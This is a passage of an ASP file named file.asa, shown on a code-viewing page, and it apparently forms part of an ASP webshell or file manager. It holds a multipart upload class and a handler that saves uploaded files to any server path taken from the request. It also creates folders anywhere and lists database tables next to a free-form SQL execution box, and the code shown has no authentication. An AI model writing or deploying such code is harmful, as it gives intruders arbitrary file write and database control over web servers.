📄 file.asa
字号:
Dim Form,File,Version,Err
Private Sub Class_Initialize
Version = "无惧上传类 Version V1.0"
Err = -1
End Sub
Private Sub Class_Terminate
'清除变量及对像
If Err < 0 Then
Form.RemoveAll
Set Form = Nothing
File.RemoveAll
Set File = Nothing
oUpFileStream.Close
Set oUpFileStream = Nothing
End If
End Sub
Public Sub GetData (RetSize)
'定义变量
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
Dim iFindStart,iFindEnd
Dim iFormStart,iFormEnd,sFormName
'代码开始
If Request.TotalBytes < 1 Then
Err = 1
Exit Sub
End If
If RetSize > 0 Then
If Request.TotalBytes > RetSize Then
Err = 2
Exit Sub
End If
End If
Set Form = Server.CreateObject ("Scripting.Dictionary")
Form.CompareMode = 1
Set File = Server.CreateObject ("Scripting.Dictionary")
File.CompareMode = 1
Set tStream = Server.CreateObject ("ADODB.Stream")
Set oUpFileStream = Server.CreateObject ("ADODB.Stream")
oUpFileStream.Type = 1
oUpFileStream.Mode = 3
oUpFileStream.Open
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
oUpFileStream.Position = 0
RequestBinDate = oUpFileStream.Read
iFormEnd = oUpFileStream.Size
bCrLf = ChrB (13) & ChrB (10)
'取得每个项目之间的分隔符
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
iStart = LenB (sSpace)
iFormStart = iStart+2
'分解项目
Do
iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iFormStart
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = "gb2312"
sInfo = tStream.ReadText
'取得表单项目名称
iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
iFindStart = InStr (22,sInfo,"name=""",1)+6
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
'如果是文件
If InStr (45,sInfo,"filename=""",1) > 0 Then
Set oFileInfo = new FileInfo_Class
'取得文件属性
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\")+1)
oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr (iFindStart,sInfo,vbCr)
oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileStart = iInfoEnd
oFileInfo.FileSize = iFormStart -iInfoEnd -2
oFileInfo.FormName = sFormName
file.add sFormName,oFileInfo
else
'如果是表单项目
tStream.Close
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iInfoEnd
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = "gb2312"
sFormValue = tStream.ReadText
If Form.Exists (sFormName) Then
Form (sFormName) = Form (sFormName) & ", " & sFormValue
else
form.Add sFormName,sFormValue
End If
End If
tStream.Close
iFormStart = iFormStart+iStart+2
'如果到文件尾了就退出
Loop Until (iFormStart+2) = iFormEnd
RequestBinDate = ""
Set tStream = Nothing
End Sub
End Class
'文件属性类
Class FileInfo_Class
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
'保存文件方法
Public Function SaveToFile (Path)
On Error Resume Next
Dim oFileStream
Set oFileStream = CreateObject ("ADODB.Stream")
oFileStream.Type = 1
oFileStream.Mode = 3
oFileStream.Open
oUpFileStream.Position = FileStart
oUpFileStream.CopyTo oFileStream,FileSize
oFileStream.SaveToFile Path,2
oFileStream.Close
Set oFileStream = Nothing
End Function
'取得文件数据
Public Function FileDate
oUpFileStream.Position = FileStart
FileDate = oUpFileStream.Read (FileSize)
End Function
End Class
</script>
<%
'-------------------------------------------开始上传-----------------------------------
dim upload,file,formName,formPath,iCount
set upload=new UpFile_Class ''建立上传对象
MaxSize = 1024*1024
upload.GetData(Int(MaxSize*1024))
if upload.err > 0 then
select case upload.err
case 1
Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
case 2
Response.Write "文件大小超过了限制 "&MaxSize&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
end select
Response.End
end if
'response.write upload.Version&"<br><br>" ''显示上传类的版本
formPath=upload.form("filepath")
formPath2=formPath
if formPath="" then ''得到上传目录
Response.Write("请输入要上传至的目录!")
set upload=nothing
response.end
else
''在目录后加(/)
if right(formPath,1)<>"\" then formPath=formPath&"\"
end if
iCount=0
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
'file.SaveAs Server.mappath(formPath&file.FileName) ''保存文件
file.SaveToFile formPath&file.FileName
response.write "<p><center>"&file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!</center></p>"
Response.Flush()
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing ''删除此对象
%>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center"><a href="<%=scriptname%>?folder=<%=Server.URLEncode(formPath2)%>">返回:
<%=formPath2%></a> </td>
</tr>
<tr>
<td align="center"> </td>
</tr>
</table>
<%end if%>
<%call copyright
Response.End
end if
%>
<%
'----------------------------新建文件夹---------------------------------------------
if request("op")="newfolder" then
call header%>
<%if request("newfolder1")<>"" or request("newfolder2")<>"" or request("newfolder3")<>"" then
folder=trim(request("folder"))
dim newfolder(3)
if trim(request("newfolder1")) <>"" then newfolder(0) = folder & "\" & trim(request("newfolder1"))
if trim(request("newfolder2")) <>"" then newfolder(1) = folder & "\" & trim(request("newfolder2"))
if trim(request("newfolder3")) <>"" then newfolder(2) = folder & "\" & trim(request("newfolder3"))
for i=0 to Ubound(newfolder)
if newfolder(i)<>"" and not isempty(newfolder(i)) then
objFSO.CreateFolder(newfolder(i))
Response.Write("<p align=""center"">" & newfolder(i) & " 创建成功</p>")
end if
next
if session("currentfolder")=folder then
response.Write("<p align=""center"">返回:<a href="""&scriptname&"?folder="&Server.URLEncode(folder)&""">"&folder&"</a>")
else
response.Write("<p align=""center"">返回:<a href="""&scriptname&"?folder="&folder&""">"&folder&"</a>")
response.Write("<p align=""center"">返回:<a href="""&scriptname&"?folder="&Server.URLEncode(session("currentfolder"))&""">"&session("currentfolder")&"</a>")
end if
%><p></p>
<%else%>
<form action="<%=scriptname%>" method="post" name="newfolder" id="newfolder">
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolordark="#FFFFFF" bordercolorlight="#000000">
<tr>
<td align="center">
<input name="folder" type="text" value="<%=request("folder")%>" size="40">
</td>
</tr>
<tr>
<td align="center">文件夹1
<input name="newfolder1" type="text" id="newfolder1"></td>
</tr>
<tr>
<td align="center">文件夹2
<input name="newfolder2" type="text" id="newfolder2"></td>
</tr>
<tr>
<td align="center">文件夹3
<input name="newfolder3" type="text" id="newfolder3"> </td>
</tr>
<tr>
<td align="center"><input name="op" type="hidden" id="op22" value="newfolder">
<input type="submit" value="新建文件夹"></td>
</tr>
</table>
</form>
<%end if%>
<%call copyright
Response.End
end if
%>
<%
'-----------------------------------数据库记录列表----------------------------------------
if request("op")="db" and request("dbname")<>"" and request("tablename")<>"" then
call header
dbname=request("dbname")
tablename=request("tablename")
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.ConnectionString = DBDriver & dbname
objConn.Open
Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))
if tablename="" then tablename=objTableRS("Table_Name").Value
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr>
<td width="19%" align="center" valign="top"><a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>"><%=objFSO.GetFilename(dbname)%></a><br>
<br>
<table width="95%" border="0" cellspacing="0" cellpadding="6">
<%Do While Not objTableRS.EOF%>
<tr>
<td><font size="4" face="Wingdings">3</font> <a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>&tablename=<%=Server.URLEncode(objTableRS("Table_Name").Value)%>"><%=objTableRS("Table_Name").Value%></a></td>
</tr>
<%objTableRS.MoveNext
Loop%>
</table>
</td>
<td width="81%" valign="top">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top">
<td align="center" valign="top"><font color="#330099"><%=tablename%></font>
<form action="<%=scriptname%>" method="post" name="sqlcmd" id="sqlcmd">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top">
<td align="center"> <input name="cmd" type="text" id="cmd" size="60">
<input name="op" type="hidden" id="op" value="sql"> <input name="dbname" type="hidden" id="dbname" value="<%=request("dbname")%>">
<input type="submit" value="执行SQL"></td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="1" cellspacing="0" cellpadding="3" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr bgcolor="#CCCCCC" align="center" valign="top">
<%dim mysql,objRS,i,j
j=1
mysql="Select Top 10 * From ["&tablename&"]"
Set objRS=objConn.Execute(mysql)
'response.write "<td>操作</td>"
For i=0 to objRs.Fields.Count-1
Response.write"<td><b>"&objRS.Fields(i).name&"</b></td>"
Next
Response.write "</tr>"
if objrs.eof then
else
DO While NOT objRS.Eof
Response.write "<tr>"
%>
<%
For i=0 to objRs.Fields.Count-1
Response.write"<td>"
If IsNull(objRs.Fields(i).value) or objRs.Fields(i).value="" or objRs.Fields(i).value=" " then
response.write " "
else
Response.write Server.HTMLEncode(objRs.Fields(i).value)
end if
Response.write"</td>"
Next
Response.write"</tr>"
objRS.MoveNext
j=j+1
Loop
end if
set objRs = nothing
set objTableRS = nothing
objConn.Close
set objConn = nothing
%>
</table>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -